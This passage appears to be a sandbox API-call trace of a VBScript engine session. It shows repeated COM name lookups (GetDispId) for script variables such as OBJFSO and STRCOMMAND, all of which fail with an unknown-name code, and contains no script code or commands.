[0088.703] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.703] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.704] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNNO1HLPCHR1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.704] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNNO1HLPCHR1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.704] GetCurrentThreadId () returned 0xd44 [0088.704] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.704] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.704] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNOVER1WRITE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.704] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNOVER1WRITE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.704] GetCurrentThreadId () returned 0xd44 [0088.704] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.704] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.705] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNQU1IET", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.705] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNQU1IET", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.705] GetCurrentThreadId () returned 0xd44 [0088.705] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.705] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.705] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNWI1NDOWSONLY", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.705] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNWI1NDOWSONLY", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.705] GetCurrentThreadId () returned 0xd44 [0088.705] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.705] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.706] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INTBI1TSOS", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.706] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INTBI1TSOS", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.706] GetCurrentThreadId () returned 0xd44 [0088.706] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.706] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.706] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INT1CODEPAGE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.706] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INT1CODEPAGE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.706] GetCurrentThreadId () returned 0xd44 [0088.706] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.706] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.706] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INTOS1VERSION", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.707] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INTOS1VERSION", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.707] GetCurrentThreadId () returned 0xd44 [0088.707] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.707] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.707] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INTUNEXPECT1EDCODEPAGE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.707] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INTUNEXPECT1EDCODEPAGE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.707] GetCurrentThreadId () returned 0xd44 [0088.707] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.707] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.707] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INTVA1LIDARGS", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.707] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INTVA1LIDARGS", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.707] GetCurrentThreadId () returned 0xd44 [0088.708] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.708] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.708] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="I1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.708] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="I1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.708] GetCurrentThreadId () returned 0xd44 [0088.708] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.708] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.708] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="J1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.708] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="J1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.708] GetCurrentThreadId () returned 0xd44 [0088.708] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.709] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.709] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="COLI1TEMS", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.709] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="COLI1TEMS", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.709] GetCurrentThreadId () returned 0xd44 [0088.709] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.721] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.722] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJDEBU1GLOG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.722] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJDEBU1GLOG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.722] GetCurrentThreadId () returned 0xd44 [0088.722] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.722] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.722] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="O1BJEXEC", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.722] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="O1BJEXEC", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.722] GetCurrentThreadId () returned 0xd44 [0088.722] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.722] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.723] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OB1JHTMLFILE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.723] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OB1JHTMLFILE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.723] GetCurrentThreadId () returned 0xd44 [0088.723] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.723] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.723] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJFO1LDER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.723] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJFO1LDER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.723] GetCurrentThreadId () returned 0xd44 [0088.723] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.723] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.724] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJF1OLDERITEM", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.724] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJF1OLDERITEM", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.724] GetCurrentThreadId () returned 0xd44 [0088.724] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.724] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.724] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OB1JFSO", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.724] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OB1JFSO", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.724] GetCurrentThreadId () returned 0xd44 [0088.724] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.724] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.724] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJIT1EM", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.724] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJIT1EM", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.725] GetCurrentThreadId () returned 0xd44 [0088.725] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.725] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.725] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJ1KEY", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.725] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJ1KEY", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.725] GetCurrentThreadId () returned 0xd44 [0088.725] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.725] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.726] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJM1ATCHES", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.726] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJM1ATCHES", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.726] GetCurrentThreadId () returned 0xd44 [0088.726] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.726] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.726] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJM1ATCHES2", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.726] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJM1ATCHES2", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.726] GetCurrentThreadId () returned 0xd44 [0088.726] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.726] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.727] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRALP1HABET", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.727] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRALP1HABET", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.727] GetCurrentThreadId () returned 0xd44 [0088.727] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.727] malloc (_Size=0x2004) returned 0x87908b0 [0088.727] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.727] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STR1ARG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.727] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STR1ARG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.727] GetCurrentThreadId () returned 0xd44 [0088.727] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.727] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.727] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRC1LASS", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.727] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRC1LASS", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.727] GetCurrentThreadId () returned 0xd44 [0088.728] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.728] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.728] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCM1DINFO", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.728] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCM1DINFO", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.728] GetCurrentThreadId () returned 0xd44 [0088.728] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.728] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.728] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCOM1MAND", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.728] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCOM1MAND", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.728] GetCurrentThreadId () returned 0xd44 [0088.728] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.728] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.729] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCOMM1ANDLINE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.729] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCOMM1ANDLINE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.729] GetCurrentThreadId () returned 0xd44 [0088.729] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.729] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.729] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCO1MSPEC", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.729] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCO1MSPEC", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.729] GetCurrentThreadId () returned 0xd44 [0088.729] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.729] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.730] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRC1SDVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.730] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRC1SDVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.730] GetCurrentThreadId () returned 0xd44 [0088.730] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.730] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.730] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STR1FILE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.730] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STR1FILE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.730] GetCurrentThreadId () returned 0xd44 [0088.730] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.730] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.730] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRF1ILEVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.730] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRF1ILEVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.730] GetCurrentThreadId () returned 0xd44 [0088.731] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.731] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.731] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRDEBU1GLOG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.731] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRDEBU1GLOG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.731] GetCurrentThreadId () returned 0xd44 [0088.731] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.731] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.731] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRFIRSTLE1TTER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.731] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRFIRSTLE1TTER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.731] GetCurrentThreadId () returned 0xd44 [0088.732] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.732] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 